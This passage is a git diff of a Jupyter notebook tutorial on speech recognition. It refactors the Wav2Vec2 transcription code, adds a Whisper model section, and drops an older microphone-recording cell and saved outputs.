+numpy
+pandas
\ No newline at end of file
diff --git a/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.ipynb b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.ipynb
index 1d65f262..941eff4c 100644
--- a/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.ipynb
+++ b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.ipynb
@@ -2,79 +2,18 @@
   "cells": [
     {
       "cell_type": "code",
-      "execution_count": 87,
+      "execution_count": null,
       "metadata": {
-        "colab": {
-          "base_uri": "https://localhost:8080/"
-        },
-        "id": "KqiF_SjMysD0",
-        "outputId": "308ec248-ce64-4e77-ba44-36b4d3c0c9db"
+        "id": "KqiF_SjMysD0"
       },
-      "outputs": [
-        {
-          "name": "stdout",
-          "output_type": "stream",
-          "text": [
-            "Requirement already satisfied: transformers==4.11.2 in /usr/local/lib/python3.7/dist-packages (4.11.2)\n",
-            "Requirement already satisfied: datasets in /usr/local/lib/python3.7/dist-packages (1.15.1)\n",
-            "Requirement already satisfied: soundfile in /usr/local/lib/python3.7/dist-packages (0.10.3.post1)\n",
-            "Requirement already satisfied: sentencepiece in /usr/local/lib/python3.7/dist-packages (0.1.96)\n",
-            "Requirement already satisfied: torchaudio in /usr/local/lib/python3.7/dist-packages (0.10.0+cu111)\n",
-            "Collecting pydub\n",
-            "  Downloading pydub-0.25.1-py2.py3-none-any.whl (32 kB)\n",
-            "Requirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (21.3)\n",
-            "Requirement already satisfied: tqdm>=4.27 in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (4.62.3)\n",
-            "Requirement already satisfied: numpy>=1.17 in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (1.19.5)\n",
-            "Requirement already satisfied: tokenizers<0.11,>=0.10.1 in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (0.10.3)\n",
-            "Requirement already satisfied: requests in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (2.23.0)\n",
-            "Requirement already satisfied: regex!=2019.12.17 in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (2019.12.20)\n",
-            "Requirement already satisfied: huggingface-hub>=0.0.17 in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (0.1.2)\n",
-            "Requirement already satisfied: importlib-metadata in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (4.8.2)\n",
-            "Requirement already satisfied: sacremoses in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (0.0.46)\n",
-            "Requirement already satisfied: pyyaml>=5.1 in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (6.0)\n",
-            "Requirement already satisfied: filelock in /usr/local/lib/python3.7/dist-packages (from transformers==4.11.2) (3.4.0)\n",
-            "Requirement already satisfied: typing-extensions>=3.7.4.3 in /usr/local/lib/python3.7/dist-packages (from huggingface-hub>=0.0.17->transformers==4.11.2) (3.10.0.2)\n",
-            "Requirement already satisfied: pyparsing!=3.0.5,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from packaging>=20.0->transformers==4.11.2) (3.0.6)\n",
-            "Requirement already satisfied: multiprocess in /usr/local/lib/python3.7/dist-packages (from datasets) (0.70.12.2)\n",
-            "Requirement already satisfied: pandas in /usr/local/lib/python3.7/dist-packages (from datasets) (1.1.5)\n",
-            "Requirement already satisfied: dill in /usr/local/lib/python3.7/dist-packages (from datasets) (0.3.4)\n",
-            "Requirement already satisfied: aiohttp in /usr/local/lib/python3.7/dist-packages (from datasets) (3.8.1)\n",
-            "Requirement already satisfied: pyarrow!=4.0.0,>=1.0.0 in /usr/local/lib/python3.7/dist-packages (from datasets) (3.0.0)\n",
-            "Requirement already satisfied: fsspec[http]>=2021.05.0 in /usr/local/lib/python3.7/dist-packages (from datasets) (2021.11.0)\n",
-            "Requirement already satisfied: xxhash in /usr/local/lib/python3.7/dist-packages (from datasets) (2.0.2)\n",
-            "Requirement already satisfied: chardet<4,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.11.2) (3.0.4)\n",
-            "Requirement already satisfied: idna<3,>=2.5 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.11.2) (2.10)\n",
-            "Requirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.11.2) (1.24.3)\n",
-            "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.11.2) (2021.10.8)\n",
-            "Requirement already satisfied: cffi>=1.0 in /usr/local/lib/python3.7/dist-packages (from soundfile) (1.15.0)\n",
-            "Requirement already satisfied: pycparser in /usr/local/lib/python3.7/dist-packages (from cffi>=1.0->soundfile) (2.21)\n",
-            "Requirement already satisfied: torch==1.10.0 in /usr/local/lib/python3.7/dist-packages (from torchaudio) (1.10.0+cu111)\n",
-            "Requirement already satisfied: multidict<7.0,>=4.5 in /usr/local/lib/python3.7/dist-packages (from aiohttp->datasets) (5.2.0)\n",
-            "Requirement already satisfied: charset-normalizer<3.0,>=2.0 in /usr/local/lib/python3.7/dist-packages (from aiohttp->datasets) (2.0.7)\n",
-            "Requirement already satisfied: asynctest==0.13.0 in /usr/local/lib/python3.7/dist-packages (from aiohttp->datasets) (0.13.0)\n",
-            "Requirement already satisfied: attrs>=17.3.0 in /usr/local/lib/python3.7/dist-packages (from aiohttp->datasets) (21.2.0)\n",
-            "Requirement already satisfied: aiosignal>=1.1.2 in /usr/local/lib/python3.7/dist-packages (from aiohttp->datasets) (1.2.0)\n",
-            "Requirement already satisfied: async-timeout<5.0,>=4.0.0a3 in /usr/local/lib/python3.7/dist-packages (from aiohttp->datasets) (4.0.1)\n",
-            "Requirement already satisfied: frozenlist>=1.1.1 in /usr/local/lib/python3.7/dist-packages (from aiohttp->datasets) (1.2.0)\n",
-            "Requirement already satisfied: yarl<2.0,>=1.0 in /usr/local/lib/python3.7/dist-packages (from aiohttp->datasets) (1.7.2)\n",
-            "Requirement already satisfied: zipp>=0.5 in /usr/local/lib/python3.7/dist-packages (from importlib-metadata->transformers==4.11.2) (3.6.0)\n",
-            "Requirement already satisfied: python-dateutil>=2.7.3 in /usr/local/lib/python3.7/dist-packages (from pandas->datasets) (2.8.2)\n",
-            "Requirement already satisfied: pytz>=2017.2 in /usr/local/lib/python3.7/dist-packages (from pandas->datasets) (2018.9)\n",
-            "Requirement already satisfied: six>=1.5 in /usr/local/lib/python3.7/dist-packages (from python-dateutil>=2.7.3->pandas->datasets) (1.15.0)\n",
-            "Requirement already satisfied: click in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers==4.11.2) (7.1.2)\n",
-            "Requirement already satisfied: joblib in /usr/local/lib/python3.7/dist-packages (from sacremoses->transformers==4.11.2) (1.1.0)\n",
-            "Installing collected packages: pydub\n",
-            "Successfully installed pydub-0.25.1\n"
-          ]
-        }
-      ],
+      "outputs": [],
       "source": [
-        "!pip install transformers==4.11.2 datasets soundfile sentencepiece torchaudio pyaudio"
+        "!pip install transformers==4.28.1 soundfile sentencepiece torchaudio pydub"
       ]
     },
     {
       "cell_type": "code",
-      "execution_count": 73,
+      "execution_count": null,
       "metadata": {
         "id": "IA7sFGYoywJv"
       },
@@ -85,179 +24,42 @@
         "import soundfile as sf\n",
         "# import librosa\n",
         "import os\n",
-        "import torchaudio"
+        "import torchaudio\n",
+        "\n",
+        "device = \"cuda:0\" if torch.cuda.is_available() else \"cpu\""
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "VJBoe7N6PSZO"
+      },
+      "source": [
+        "# Wav2Vec2.0 Models\n"
       ]
     },
     {
       "cell_type": "code",
-      "execution_count": 6,
+      "execution_count": null,
       "metadata": {
-        "colab": {
-          "base_uri": "https://localhost:8080/",
-          "height": 314,
-          "referenced_widgets": [
-            "45eeb549b03649d9be138001aeb7843c",
-            "9b1de65486e5484eb61ba378e9e1cefa",
-            "dc7a3b598c4d45bd9b8d1239c33b510b",
-            "de6abb9a77ca49549a873cdf65858cda",
-            "60473b3b063141699845d72b877d752a",
-            "e5c9003f439147f2a57578d68a947f6a",
-            "4cdba09932964730b0917c67b10fb689",
-            "9bfd8b36f86847dda8578ae272316b21",
-            "42675b60ec444fa393f48779f6a5fc59",
-            "bd6cde59f35f4022ab7e9fc3f93104a9",
-            "bd82c30b3a7c45b4af2a9064339fe84e",
-            "ed2a73a73d054eb6a7d2294bedd368ca",
-            "b5d0cb0d69aa4df59b8c53d4f70c5345",
-            "12b41877be1d410dbd44c54b4dfa21b1",
-            "3b08026412914f058ceccad5ca69ab9e",
-            "11581f616a1547e4af2fa8059361e120",
-            "4133b4fc83b64cd5918400a2541c11ad",
-            "fb5bf22faf6348819bf9bd484dbf05e2",
-            "eabcbeba261740e08f09cc1513b337ad",
-            "2c5a040ed23740f189c0d729386c1b71",
-            "ac569cb10d074b6da5033b8b3b34c731",
-            "ea67e226c77847aeb178f6d030a4b26e",
-            "675eefa2dbdc40e0a5a5517dc9eb00d6",
-            "c32e11c41bb34c68a339e9ed9a713fbc",
-            "7172e9a2593b4210ba309e6bdb4dc187",
-            "29f9a88a8b9741ba9f656e88be31b67f",
-            "3b2c2a7b03fb4b64857ef1da1cff90ec",
-            "f602a96212f64ff0b2c7430e9e402855",
-            "1a3c25f5cf92427eaddec3acf849f04b",
-            "39bcdcc9f44949889ab68ea961bc9cbf",
-            "7af8e7f6e148418f880e86685f65acaf",
-            "25d85c7ae4db4347a0563773aca93fe8",
-            "524e25298b9944a0b27ee4ebe8a5526e",
-            "b9326a9c7f594cda90f683e299928300",
-            "24690773f20c4f1a917b0e847c254423",
-            "d094c60966894d87b89a3f690bed522c",
-            "249faed19a95434ba146a227a0f14dba",
-            "59d686351f37454e96821ca29ceff7ee",
-            "c82cc9105e684f14a6a4c2b6a0d2b0c5",
-            "e03c1e027d5c414394cae1688974e8dd",
-            "3ac0ec899a3d46fc85fa634326665e1b",
-            "04614cbf754241899b0d8513e23851ed",
-            "72ebaf4b55314d599b8165f706a49230",
-            "0489efb30abc428582a028a93d228ed5",
-            "444cd62dd6f345d9a714085ea14c1682",
-            "ca8a8d5d3e2a42638f1b68050fcce963",
-            "66c8cada44244df18c473fd868ea0a8a",
-            "5f55acf0d5ce40279d21e48b5ac4345c",
-            "f69d665f4fcc401397d0091dc425b001",
-            "b5f26ca150b24c9e918a14acac198f54",
-            "eec27fed27e24c27be025c83d22b61cf",
-            "dafb418d0995486cb4d3099d23ec67b8",
-            "9f121c61473b4a8b8eeff16b4b6f9d5d",
-            "c66ba171d6864e76b33884dcc53b1d1c",
-            "e61138f39e7641ec93671c21a645720a"
-          ]
-        },
-        "id": "OXVa9QG2cmD7",
-        "outputId": "ac34bf2c-a409-4510-dc65-ba6838253fde"
+        "id": "OXVa9QG2cmD7"
       },
-      "outputs": [
-        {
-          "data": {
-            "application/vnd.jupyter.widget-view+json": {
-              "model_id": "45eeb549b03649d9be138001aeb7843c",
-              "version_major": 2,
-              "version_minor": 0
-            },
-            "text/plain": [
-              "Downloading:   0%|          | 0.00/291 [00:00<?, ?B/s]"
-            ]
-          },
-          "metadata": {},
-          "output_type": "display_data"
-        },
-        {
-          "data": {
-            "application/vnd.jupyter.widget-view+json": {
-              "model_id": "ed2a73a73d054eb6a7d2294bedd368ca",
-              "version_major": 2,
-              "version_minor": 0
-            },
-            "text/plain": [
-              "Downloading:   0%|          | 0.00/162 [00:00<?, ?B/s]"
-            ]
-          },
-          "metadata": {},
-          "output_type": "display_data"
-        },
-        {
-          "data": {
-            "application/vnd.jupyter.widget-view+json": {
-              "model_id": "675eefa2dbdc40e0a5a5517dc9eb00d6",
-              "version_major": 2,
-              "version_minor": 0
-            },
-            "text/plain": [
-              "Downloading:   0%|          | 0.00/85.0 [00:00<?, ?B/s]"
-            ]
-          },
-          "metadata": {},
-          "output_type": "display_data"
-        },
-        {
-          "data": {
-            "application/vnd.jupyter.widget-view+json": {
-              "model_id": "b9326a9c7f594cda90f683e299928300",
-              "version_major": 2,
-              "version_minor": 0
-            },
-            "text/plain": [
-              "Downloading:   0%|          | 0.00/1.57k [00:00<?, ?B/s]"
-            ]
-          },
-          "metadata": {},
-          "output_type": "display_data"
-        },
-        {
-          "name": "stderr",
-          "output_type": "stream",
-          "text": [
-            "The tokenizer class you load from this checkpoint is not the same type as the class this function is called from. It may result in unexpected tokenization. \n",
-            "The tokenizer class you load from this checkpoint is 'Wav2Vec2CTCTokenizer'. \n",
-            "The class this function is called from is 'Wav2Vec2Tokenizer'.\n",
-            "/usr/local/lib/python3.7/dist-packages/transformers/models/wav2vec2/tokenization_wav2vec2.py:423: FutureWarning: The class `Wav2Vec2Tokenizer` is deprecated and will be removed in version 5 of Transformers. Please use `Wav2Vec2Processor` or `Wav2Vec2CTCTokenizer` instead.\n",
-            "  FutureWarning,\n"
-          ]
-        },
-        {
-          "data": {
-            "application/vnd.jupyter.widget-view+json": {
-              "model_id": "444cd62dd6f345d9a714085ea14c1682",
-              "version_major": 2,
-              "version_minor": 0
-            },
-            "text/plain": [
-              "Downloading:   0%|          | 0.00/1.18G [00:00<?, ?B/s]"
-            ]
-          },
-          "metadata": {},
-          "output_type": "display_data"
-        },
-        {
-          "name": "stderr",
-          "output_type": "stream",
-          "text": [
-            "Some weights of Wav2Vec2ForCTC were not initialized from the model checkpoint at facebook/wav2vec2-large-960h-lv60-self and are newly initialized: ['wav2vec2.masked_spec_embed']\n",
-            "You should probably TRAIN this model on a down-stream task to be able to use it for predictions and inference.\n"
-          ]
-        }
-      ],
+      "outputs": [],
       "source": [
-        "# model_name = \"facebook/wav2vec2-base-960h\" # 360MB\n",
-        "model_name = \"facebook/wav2vec2-large-960h-lv60-self\" # 1.18GB\n",
+        "# wav2vec2_model_name = \"facebook/wav2vec2-base-960h\" # 360MB\n",
+        "wav2vec2_model_name = \"facebook/wav2vec2-large-960h-lv60-self\" # pretrained 1.26GB\n",
+        "# wav2vec2_model_name = \"jonatasgrosman/wav2vec2-large-xlsr-53-english\" # English-only, 1.26GB\n",
+        "# wav2vec2_model_name = \"jonatasgrosman/wav2vec2-large-xlsr-53-arabic\" # Arabic-only, 1.26GB\n",
+        "# wav2vec2_model_name = \"jonatasgrosman/wav2vec2-large-xlsr-53-spanish\" # Spanish-only, 1.26GB\n",
         "\n",
-        "processor = Wav2Vec2Processor.from_pretrained(model_name)\n",
-        "model = Wav2Vec2ForCTC.from_pretrained(model_name)"
+        "wav2vec2_processor = Wav2Vec2Processor.from_pretrained(wav2vec2_model_name)\n",
+        "wav2vec2_model = Wav2Vec2ForCTC.from_pretrained(wav2vec2_model_name).to(device)"
       ]
     },
     {
       "cell_type": "code",
-      "execution_count": 92,
+      "execution_count": 2,
       "metadata": {
         "id": "GdEIJtkzEzSN"
       },
@@ -268,20 +70,20 @@
         "# audio_url = \"http://www.fit.vutbr.cz/~motlicek/sympatex/f2btrop6.0.wav/"\n",
         "# audio_url = \"https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/16-122828-0002.wav/"\n",
         "audio_url = \"https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/30-4447-0004.wav/"\n",
+        "# audio_url = \"https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav/"\n",
         "# audio_url = \"https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/7601-291468-0006.wav/"\n",
-        "# audio_url = \"https://file-examples-com.github.io/uploads/2017/11/file_example_WAV_1MG.wav/"\n",
         "# audio_url = \"http://www0.cs.ucl.ac.uk/teaching/GZ05/samples/lathe.wav/""
       ]
     },
     {
       "cell_type": "code",
-      "execution_count": 93,
+      "execution_count": 5,
       "metadata": {
         "colab": {
           "base_uri": "https://localhost:8080/"
         },
         "id": "pFm8rwjMt7TC",
-        "outputId": "32fc4e5d-6e2a-4c51-d780-fb6fb53a0af2"
+        "outputId": "8fec671b-67b6-4733-9d5a-d8a2a1e92793"
       },
       "outputs": [
         {
@@ -290,7 +92,7 @@
               "(16000, torch.Size([274000]))"
             ]
           },
-          "execution_count": 93,
+          "execution_count": 5,
           "metadata": {},
           "output_type": "execute_result"
         }
@@ -306,13 +108,13 @@
     },
     {
       "cell_type": "code",
-      "execution_count": 94,
+      "execution_count": 6,
       "metadata": {
         "colab": {
           "base_uri": "https://localhost:8080/"
         },
-        "id": "r_cwT9GL3Zji",
-        "outputId": "a159c7bb-d13b-48e9-cd51-2385998e0bdf"
+        "id": "563Nf3xsMnJE",
+        "outputId": "f18bfd81-cf2b-49ef-e76b-cd4967bd2488"
       },
       "outputs": [
         {
@@ -321,7 +123,7 @@
               "torch.Size([274000])"
             ]
           },
-          "execution_count": 94,
+          "execution_count": 6,
           "metadata": {},
           "output_type": "execute_result"
         }
@@ -335,13 +137,13 @@
     },
     {
       "cell_type": "code",
-      "execution_count": 95,
+      "execution_count": 9,
       "metadata": {
         "colab": {
           "base_uri": "https://localhost:8080/"
         },
         "id": "qtTD3gIyeNwK",
-        "outputId": "0971ac8f-f7ae-4171-bf41-255635127a27"
+        "outputId": "5892959b-4e24-4e51-b3e6-294f18c2eb51"
       },
       "outputs": [
         {
@@ -350,26 +152,26 @@
               "torch.Size([1, 274000])"
             ]
           },
-          "execution_count": 95,
+          "execution_count": 9,
           "metadata": {},
           "output_type": "execute_result"
         }
       ],
       "source": [
         "# tokenize our wav\n",
-        "input_values = processor(speech, return_tensors=\"pt\", sampling_rate=16000)[\"input_values\"]\n",
+        "input_values = wav2vec2_processor(speech, return_tensors=\"pt\", sampling_rate=16000)[\"input_values\"].to(device)\n",
         "input_values.shape"
       ]
     },
     {
       "cell_type": "code",
-      "execution_count": 96,
+      "execution_count": 10,
       "metadata": {
         "colab": {
           "base_uri": "https://localhost:8080/"
         },
         "id": "_O7cCe7veTgB",
-        "outputId": "9ed19a1c-ae50-4ac6-a593-db13faa65d0e"
+        "outputId": "5c275a78-356a-4801-d538-ff9d2395de8a"
       },
       "outputs": [
         {
@@ -378,26 +180,26 @@
               "torch.Size([1, 856, 32])"
             ]
           },
-          "execution_count": 96,
+          "execution_count": 10,
           "metadata": {},
           "output_type": "execute_result"
         }
       ],
       "source": [
         "# perform inference\n",
-        "logits = model(input_values)[\"logits\"]\n",
+        "logits = wav2vec2_model(input_values)[\"logits\"]\n",
         "logits.shape"
       ]
     },
     {
       "cell_type": "code",
-      "execution_count": 97,
+      "execution_count": 11,
       "metadata": {
         "colab": {
           "base_uri": "https://localhost:8080/"
         },
         "id": "Gx6XWoTRejR0",
-        "outputId": "098cb0d6-ea48-4b7b-ea2c-dbcabdcb1426"
+        "outputId": "013597c8-693f-4dcf-e82e-5da6b39c205b"
       },
       "outputs": [
         {
@@ -406,7 +208,7 @@
               "torch.Size([1, 856])"
             ]
           },
-          "execution_count": 97,
+          "execution_count": 11,
           "metadata": {},
           "output_type": "execute_result"
         }
@@ -419,14 +221,14 @@
     },
     {
       "cell_type": "code",
-      "execution_count": 98,
+      "execution_count": 12,
       "metadata": {
         "colab": {
           "base_uri": "https://localhost:8080/",
-          "height": 52
+          "height": 54
         },
         "id": "tyWIw6rJeyN-",
-        "outputId": "c758d70c-4967-43a2-bf7a-e1e9cb20010c"
+        "outputId": "ed070c05-2f53-4880-cfb4-4a2e2936ee0d"
       },
       "outputs": [
         {
@@ -438,55 +240,63 @@
               "'and missus goddard three ladies almost always at the service of an invitation from hartfield and who were fetched and carried home so often that mister woodhouse thought it no hardship for either james or the horses had it taken place only once a year it would have been a grievance'"
             ]
           },
-          "execution_count": 98,
+          "execution_count": 12,
           "metadata": {},
           "output_type": "execute_result"
         }
       ],
       "source": [
         "# decode the IDs to text\n",
-        "transcription = processor.decode(predicted_ids[0])\n",
+        "transcription = wav2vec2_processor.decode(predicted_ids[0])\n",
         "transcription.lower()"
       ]
     },
     {
       "cell_type": "code",
-      "execution_count": 100,
+      "execution_count": 3,
       "metadata": {
-        "id": "Oj3dTjqnmHmf"
+        "id": "TJpRO65uqP30"
       },
       "outputs": [],
       "source": [
-        "def get_transcription(audio_path):\n",
+        "def load_audio(audio_path):\n",
+        "  \"\"\"Load the audio file & convert to 16,000 sampling rate\"\"\"\n",
         "  # load our wav file\n",
         "  speech, sr = torchaudio.load(audio_path)\n",
-        "  speech = speech.squeeze()\n",
-        "  # or using librosa\n",
-        "  # speech, sr = librosa.load(audio_file, sr=16000)\n",
-        "  # resample from whatever the audio sampling rate to 16000\n",
         "  resampler = torchaudio.transforms.Resample(sr, 16000)\n",
         "  speech = resampler(speech)\n",
-        "  # tokenize our wav\n",
-        "  input_values = processor(speech, return_tensors=\"pt\", sampling_rate=16000)[\"input_values\"]\n",
+        "  return speech.squeeze()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 4,
+      "metadata": {
+        "id": "XDYMY4ZZLl9Q"
+      },
+      "outputs": [],
+      "source": [
+        "def get_transcription_wav2vec2(audio_path, model, processor):\n",
+        "  speech = load_audio(audio_path)\n",
+        "  input_features = processor(speech, return_tensors=\"pt\", sampling_rate=16000)[\"input_values\"].to(device)\n",
         "  # perform inference\n",
-        "  logits = model(input_values)[\"logits\"]\n",
+        "  logits = model(input_features)[\"logits\"]\n",
         "  # use argmax to get the predicted IDs\n",
         "  predicted_ids = torch.argmax(logits, dim=-1)\n",
-        "  # decode the IDs to text\n",
-        "  transcription = processor.decode(predicted_ids[0])\n",
+        "  transcription = processor.batch_decode(predicted_ids)[0]\n",
         "  return transcription.lower()"
       ]
     },
     {
       "cell_type": "code",
-      "execution_count": 101,
+      "execution_count": 17,
       "metadata": {
         "colab": {
           "base_uri": "https://localhost:8080/",
-          "height": 52
+          "height": 36
         },
         "id": "ien5Vqre7MRg",
-        "outputId": "75fd419e-7ede-411c-c6b6-a786144425ac"
+        "outputId": "f28ed270-5cae-4f74-ea97-7fa35d1df8ac"
       },
       "outputs": [
         {
@@ -495,106 +305,244 @@
               "type": "string"
             },
             "text/plain": [
-              "'and missus goddard three ladies almost always at the service of an invitation from hartfield and who were fetched and carried home so often that mister woodhouse thought it no hardship for either james or the horses had it taken place only once a year it would have been a grievance'"
+              "'a late is a big tool grab every dish of sugar'"
+            ]
+          },
+          "execution_count": 17,
+          "metadata": {},
+          "output_type": "execute_result"
+        }
+      ],
+      "source": [
+        "get_transcription_wav2vec2(\"http://www0.cs.ucl.ac.uk/teaching/GZ05/samples/lathe.wav/", \n",
+        "                           wav2vec2_model, \n",
+        "                           wav2vec2_processor)"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "OLqN2g1vpjIP"
+      },
+      "source": [
+        "# Whisper Models"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "H5emZREQp5Gv"
+      },
+      "outputs": [],
+      "source": [
+        "# whisper_model_name = \"openai/whisper-tiny.en\" # English-only, ~ 151 MB\n",
+        "# whisper_model_name = \"openai/whisper-base.en\" # English-only, ~ 290 MB\n",
+        "# whisper_model_name = \"openai/whisper-small.en\" # English-only, ~ 967 MB\n",
+        "# whisper_model_name = \"openai/whisper-medium.en\" # English-only, ~ 3.06 GB\n",
+        "# whisper_model_name = \"openai/whisper-tiny\" # multilingual, ~ 151 MB\n",
+        "# whisper_model_name = \"openai/whisper-base\" # multilingual, ~ 290 MB\n",
+        "# whisper_model_name = \"openai/whisper-small\" # multilingual, ~ 967 MB\n",
+        "whisper_model_name = \"openai/whisper-medium\" # multilingual, ~ 3.06 GB\n",
+        "# whisper_model_name = \"openai/whisper-large-v2\" # multilingual, ~ 6.17 GB\n",
+        "\n",
+        "whisper_processor = WhisperProcessor.from_pretrained(whisper_model_name)\n",
+        "whisper_model = WhisperForConditionalGeneration.from_pretrained(whisper_model_name).to(device)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 12,
+      "metadata": {
+        "id": "jkJSZ1QQqiQ-"
+      },
+      "outputs": [],
+      "source": [
+        "input_features = whisper_processor(load_audio(audio_url), sampling_rate=16000, return_tensors=\"pt\").input_features.to(device)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 13,
+      "metadata": {
+        "id": "8lZGLPw9yYOx"
+      },
+      "outputs": [],
+      "source": [
+        "forced_decoder_ids = whisper_processor.get_decoder_prompt_ids(language=\"english\", task=\"transcribe\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 14,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "CyFAkTqSyvfy",
+        "outputId": "24efe50f-6467-4e5b-d5ee-6c101df9566d"
+      },
+      "outputs": [
+        {
+          "data": {
+            "text/plain": [
+              "[(1, 50259), (2, 50359), (3, 50363)]"
             ]
           },
-          "execution_count": 101,
+          "execution_count": 14,
           "metadata": {},
           "output_type": "execute_result"
         }
       ],
       "source": [
-        "get_transcription(audio_url)"
+        "forced_decoder_ids"
       ]
     },
     {
       "cell_type": "code",
-      "execution_count": 1,
+      "execution_count": 15,
       "metadata": {
         "colab": {
-          "base_uri": "https://localhost:8080/",
-          "height": 50,
-          "referenced_widgets": [
-            "15b1685016ea4c27af7a73ca31e54504",
-            "d65226b4aaf04587990ff1b05bc837c6",
-            "9fe212aa47694fc2a87c9f59561fa2d4"
-          ]
+          "base_uri": "https://localhost:8080/"
         },
-        "id": "GZTvRVznIcn_",
-        "outputId": "b8e128d3-e9c0-445f-80c8-b6d11ba9448b"
+        "id": "N3kN0ieAs4y6",
+        "outputId": "af61865c-db65-449d-9f76-f90dec77c544"
       },
       "outputs": [
         {
-          "name": "stdout",
+          "data": {
+            "text/plain": [
+              "torch.Size([1, 80, 3000])"
+            ]
+          },
+          "execution_count": 15,
+          "metadata": {},
+          "output_type": "execute_result"
+        }
+      ],
+      "source": [
+        "input_features.shape"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 16,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "FwN0416XsI4s",
+        "outputId": "92f436a4-6af4-42d2-d774-94af91e2c57e"
+      },
+      "outputs": [
+        {
+          "name": "stderr",
           "output_type": "stream",
           "text": [
-            "Recording...\n",
-            "Finished recording.\n"
+            "/usr/local/lib/python3.10/dist-packages/transformers/generation/utils.py:1313: UserWarning: Using `max_length`'s default (448) to control the generation length. This behaviour is deprecated and will be removed from the config in v5 of Transformers -- we recommend using `max_new_tokens` to control the maximum length of the generation.\n",
+            "  warnings.warn(\n"
           ]
+        },
+        {
+          "data": {
+            "text/plain": [
+              "torch.Size([1, 68])"
+            ]
+          },
+          "execution_count": 16,
+          "metadata": {},
+          "output_type": "execute_result"
         }
       ],
       "source": [
-        "import pyaudio\n",
-        "import wave\n",
-        "\n",
-        "# the file name output you want to record into\n",
-        "filename = \"recorded.wav\"\n",
-        "# set the chunk size of 1024 samples\n",
-        "chunk = 1024\n",
-        "# sample format\n",
-        "FORMAT = pyaudio.paInt16\n",
-        "# mono, change to 2 if you want stereo\n",
-        "channels = 1\n",
-        "# 44100 samples per second\n",
-        "sample_rate = 16000\n",
-        "record_seconds = 10\n",
-        "# initialize PyAudio object\n",
-        "p = pyaudio.PyAudio()\n",
-        "# open stream object as input & output\n",
-        "stream = p.open(format=FORMAT,\n",
-        "                channels=channels,\n",
-        "                rate=sample_rate,\n",
-        "                input=True,\n",
-        "                output=True,\n",
-        "                frames_per_buffer=chunk)\n",
-        "frames = []\n",
-        "print(\"Recording...\")\n",
-        "for i in range(int(sample_rate / chunk * record_seconds)):\n",
-        "    data = stream.read(chunk)\n",
-        "    # if you want to hear your voice while recording\n",
-        "    # stream.write(data)\n",
-        "    frames.append(data)\n",
-        "print(\"Finished recording.\")\n",
-        "# stop and close stream\n",
-        "stream.stop_stream()\n",
-        "stream.close()\n",
-        "# terminate pyaudio object\n",
-        "p.terminate()\n",
-        "# save audio file\n",
-        "# open the file in 'write bytes' mode\n",
-        "wf = wave.open(filename, \"wb\")\n",
-        "# set the channels\n",
-        "wf.setnchannels(channels)\n",
-        "# set the sample format\n",
-        "wf.setsampwidth(p.get_sample_size(FORMAT))\n",
-        "# set the sample rate\n",
-        "wf.setframerate(sample_rate)\n",
-        "# write the frames as bytes\n",
-        "wf.writeframes(b\"\".join(frames))\n",
-        "# close the file\n",
-        "wf.close()"
+        "predicted_ids = whisper_model.generate(input_features, forced_decoder_ids=forced_decoder_ids)\n",
+        "predicted_ids.shape"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 17,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "HCIe1xoALIzi",
+        "outputId": "6bb77e6c-449c-4308-d43f-30721578299a"
+      },
+      "outputs": [
+        {
+          "data": {
+            "text/plain": [
+              "[' and Mrs. Goddard, three ladies almost always at the service of an invitation from Hartfield, and who were fetched and carried home so often that Mr. Woodhouse sought it no hardship for either James or the horses. Had it taken place only once a year it would have been a grievance.']"
+            ]
+          },
+          "execution_count": 17,
+          "metadata": {},
+          "output_type": "execute_result"
+        }
+      ],
+      "source": [
+        "transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=True)\n",
+        "transcription"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 18,
+      "metadata": {
+        "colab": {
